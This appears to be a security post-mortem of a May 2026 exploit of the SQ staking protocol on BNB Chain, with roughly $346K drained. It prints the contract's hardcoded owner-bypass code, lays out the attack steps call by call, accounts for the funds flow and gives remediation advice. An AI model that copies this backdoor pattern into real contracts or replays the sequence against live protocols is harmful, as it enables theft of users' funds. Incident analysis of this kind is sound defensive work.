2026-05-12 · Loss: ~346,137.03 USDT (~$346.1K) · Access Control
On May 12, 2026 at 10:11:11 UTC, the SQ protocol on BNB Chain was exploited for 346,137.034345 USDT after the attacker abused a hardcoded owner backdoor in the verified Staking contract at 0x404404a845fff0201f3a4d419b4839fc419c99f7. The attacker sent a type-0x4 transaction with an authorizationList entry that delegated their EOA to helper code at 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d, letting the entire exploit execute as the attacker EOA while still batching many calls in one transaction. Once inside Staking, the attacker used the embedded owner bypass to take ownership, set stakeDays to zero, mint 388,100 fake SQ Token staking claims to themselves with stakeOwner(), redeem ten of those claims immediately through repeated unstake() calls for 296,500 USDT, then sweep 2,000,039.407501 SQi from the staking contract and dump it into the SQi/USDT Pancake pair for another 49,637.034345 USDT. The total realized proceeds match the TenArmor alert at approximately $346.1K.
Staking0x404404a845fff0201f3a4d419b4839fc419c99f70.8.24SQi at 0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e90x56b681876b7a6df313e34ad4efc74146a75ea51e_checkOwner() in the inherited Ownable implementationsetUintArray(uint8,uint256[])stakeOwner(address,uint160,uint40)withdrawalTokens(address,address,uint256)unstake(uint256)The core backdoor is in the owner check itself:
function _checkOwner() internal view virtual {
if (owner() != _msgSender() && _msgSender() != 0xE746c9043Aa0106853c5e4380A9A307Fe385378e) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
That hardcoded exception grants onlyOwner access to the attacker EOA regardless of the stored owner.
The attacker then used the newly acquired privileges to disable the staking lock and forge positions:
function setUintArray(uint8 _type, uint256[] calldata _values) external onlyOwner {
if (_type == 1) stakeDays = _values;
}
function stakeOwner(address _user, uint160 _amount, uint40 _time) external onlyOwner {
if (!IReferral(conf.referral()).isBindReferral(_user))
revert("Please bind your superior first");
uint8 _stakeIndex = 0;
mint(_user, _amount, _stakeIndex, _time);
}
Immediate redemption and the final sweep happened through these paths:
function unstake(uint256 index) external onlyEOA returns (uint256) {
if (userStakeRecord[msg.sender].length < index + 2)
revert("Insufficient stake count");
(uint256 reward, uint256 stake_amount) = burn(index);
...
V2Router.swapTokensForExactTokens(reward, tokenBefore, path, address(this), block.timestamp + 60);
...
USDT.safeTransfer(msg.sender, _value);
IToken(conf.token()).recycle(amount_token);
return reward;
}
function withdrawalTokens(address _token, address _recipient, uint256 _amount) external onlyOwner {
if (IERC20(_token).balanceOf(address(this)) < _amount)
revert InsufficientBalance();
IERC20(_token).safeTransfer(_recipient, _amount);
}
And the token-side recycle() hook used by unstake() replenishes the staking contract by pulling SQi out of the AMM pair and synchronizing reserves:
function recycle(uint256 amount) external {
require(STAKING == msg.sender, "cycle");
uint256 maxBurn = super.balanceOf(_uniswapV2Pair) / 3;
uint256 burn_amount = amount >= maxBurn ? maxBurn : amount;
super._transfer(_uniswapV2Pair, STAKING, burn_amount);
IUniswapV2Pair(_uniswapV2Pair).sync();
}
This exploit is fundamentally an access-control failure:
Staking embeds the attacker EOA directly in _checkOwner(), so onlyOwner functions are never actually restricted from that address.transferOwnership(attacker) even though the stored owner had already been set to the dead address, proving the backdoor was sufficient to resurrect admin control.setUintArray(1, [0]), changing stakeDays[0] from 30 days to 0, so newly forged positions were immediately redeemable.stakeOwner(), the attacker minted arbitrary synthetic SQ Token balances to themselves without depositing any USDT.unstake() converts SQi inventory held by the staking contract into USDT via the Pancake router, pays that USDT to msg.sender, and then invokes SQi.recycle() to pull more SQi from the SQi/USDT pair back into staking. That makes repeated fake redemptions an effective drain on the pair.withdrawalTokens() let the attacker sweep the remaining SQi balance from staking and sell it for a last tranche of USDT.The EIP-7702 wrapper was an execution detail, not the root cause. It let the attacker batch the exploit as a single self-call while preserving the attacker EOA as msg.sender, which also satisfied the contract’s onlyEOA checks on unstake().
0xe746c9043aa0106853c5e4380a9a307fe385378e submitted a type-0x4 transaction with an authorization entry for 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d.Staking.transferOwnership(attacker) and made the attacker the stored owner.setUintArray(1, [0]) so stakeDays[0] = 0.stakeOwner() with the following amounts: 90,000; 90,000; 70,000; 55,000; 42,000; 14,000; 9,000; 7,500; 4,000; 3,000; 2,000; and 100 SQ Token.1760134760 (2025-10-10T22:19:20Z), although the zero-day lock already made them instantly redeemable.1 through 10 via ten unstake() calls, receiving a total of 296,500 USDT.withdrawalTokens(SQi, attacker, 2,000,039.407501425169722546), and then sold that entire SQi balance through PancakeSwap for 49,637.034345014454603094 USDT.SQ Token claims that were not included in the realized USD loss figure.The first ten cash-out operations came directly from unstake():
| Unstake call | Forged position redeemed | USDT received |
|---|---|---|
unstake(1) | 90,000 | 90,000 |
unstake(2) | 70,000 | 70,000 |
unstake(3) | 55,000 | 55,000 |
unstake(4) | 42,000 | 42,000 |
unstake(5) | 14,000 | 14,000 |
unstake(6) | 9,000 | 9,000 |
unstake(7) | 7,500 | 7,500 |
unstake(8) | 4,000 | 4,000 |
unstake(9) | 3,000 | 3,000 |
unstake(10) | 2,000 | 2,000 |
| Subtotal | 296,500 USDT |
After those redemptions, the staking contract still held 2,000,039.407501 SQi. The attacker swept that balance with withdrawalTokens() and immediately sold it through PancakeSwap, extracting another 49,637.034345 USDT.
The two untouched forged entries were index 0 (90,000 SQ Token) and index 11 (100 SQ Token), which is why the attacker retained a net synthetic balance of 90,100 SQ Token at the end of the transaction.
Primary evidence source: funds_flow.json plus receipt Transfer logs.
| Source | Amount |
|---|---|
Ten direct unstake() redemptions | 296,500 USDT |
| Final sale of swept SQi | 49,637.034345014454603094 USDT |
| Total realized proceeds | 346,137.034345014454603094 USDT |
This aligns with the public alert of approximately $346.1K.
| Asset | Amount | Notes |
|---|---|---|
Synthetic SQ Token | 90,100 | Unburned internal staking claims left at indices 0 and 11; not counted in realized USD loss |
| SQi | 0.001 | Dust left after the final PancakeSwap dump |
| Address | Asset | Net change |
|---|---|---|
Attacker EOA 0xe746...378e | USDT | +346,137.034345014454603094 |
Attacker EOA 0xe746...378e | SQ Token | +90,100 |
Staking 0x4044...99f7 | SQi | -2,000,039.407501425169722546 |
Pancake SQi/USDT pair 0x56b6...a51e | USDT | -346,137.034345014454603094 |
Pancake SQi/USDT pair 0x56b6...a51e | SQi | +1,767,814.830896434693266066 |
0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8978369482026-05-12T10:11:11Z5,390,2070xe746c9043aa0106853c5e4380a9a307fe385378e0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d0x404404a845fff0201f3a4d419b4839fc419c99f7SQi 0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e90x56b681876b7a6df313e34ad4efc74146a75ea51eSelector evidence:
| Selector | Signature | Role in exploit |
|---|---|---|
0xf2fde38b | transferOwnership(address) | Reinstated stored ownership from dead address to attacker |
0x9a94d99e | setUintArray(uint8,uint256[]) | Changed stakeDays to [0] |
0xce071b6b | stakeOwner(address,uint160,uint40) | Minted forged admin stake positions |
0x2e17de78 | unstake(uint256) | Redeemed forged positions for USDT |
0xdd1c35bc | recycle(uint256) | Pulled SQi from the pair back into staking after each unstake |
0x79412da6 | withdrawalTokens(address,address,uint256) | Swept remaining SQi from staking |
0x5c11d795 | swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256) | Final SQi -> USDT dump through Pancake router |
_checkOwner() and redeploy or migrate to a clean ownership model.onlyOwner, especially stakeOwner(), setUintArray(), and withdrawalTokens(), because any ownership compromise currently becomes a full-funds compromise.SQi.recycle() so a staking contract cannot pull inventory out of the AMM pair as part of a redemption flow.0x4 / EIP-7702 transactions that target privileged protocol entrypoints, since those wrappers can preserve EOA semantics while batching exploit logic.analysis_plan.json: planner output and contract listtrace_callTracer.json: full call tracetx.json and receipt.json: transaction metadata and logsfunds_flow.json: decoded transfer flows and net balancesdecoded_calls.json and selectors.json: decoded call tree and selector map0x404404a845fff0201f3a4d419b4839fc419c99f7/0x404404a845fff0201f3a4d419b4839fc419c99f7.sol: verified staking source0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9/SQ/SQi.sol: verified SQi source